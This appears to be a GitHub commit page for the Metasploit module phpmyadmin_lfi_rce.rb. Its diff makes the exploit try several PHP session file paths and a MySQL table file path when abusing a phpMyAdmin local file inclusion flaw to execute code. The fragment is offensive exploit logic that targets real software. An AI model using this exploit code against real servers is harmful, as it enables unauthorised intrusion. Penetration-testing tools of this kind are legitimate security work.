Skip to content

Commit

Permalink
Land #10487, add php5 session file target
Browse files Browse the repository at this point in the history
  • Loading branch information
jrobles-r7 authored and msjenkins-r7 committed Aug 27, 2018
1 parent 0294d7e commit 376a343
Showing 1 changed file with 8 additions and 5 deletions.
13 changes: 8 additions & 5 deletions modules/exploits/multi/http/phpmyadmin_lfi_rce.rb
Original file line number Diff line number Diff line change
Expand Up @@ -211,19 +211,22 @@ def exploit
fail_with(Failure::UnexpectedReply, "#{peer} - Failed to find data directory")
end

paths = []
#Creating include path
if mytarget == 'Windows'
#Table file location
data_path = $1.gsub(/\\/, '/')
data_path = data_path.sub(/^.*?\//, '/')
data_path << "#{database}/#{table}.frm"
tmp_path = $1.gsub(/\\/, '/')
tmp_path = tmp_path.sub(/^.*?\//, '/')
tmp_path << "#{database}/#{table}.frm"
paths.append(tmp_path)
else
#Session path location
/phpMyAdmin=(?<session_name>.*?);/ =~ cookies
data_path = "/var/lib/php/sessions/sess_#{session_name}"
paths.append("/var/lib/php/sessions/sess_#{session_name}")
paths.append("/var/lib/php5/sess_#{session_name}")
end

res = lfi(uri, data_path, cookies, token)
paths.each {|data_path| lfi(uri, data_path, cookies, token)}

#Drop database
res = query(uri, dropsql, cookies, token)
Expand Down

0 comments on commit 376a343

Please sign in to comment.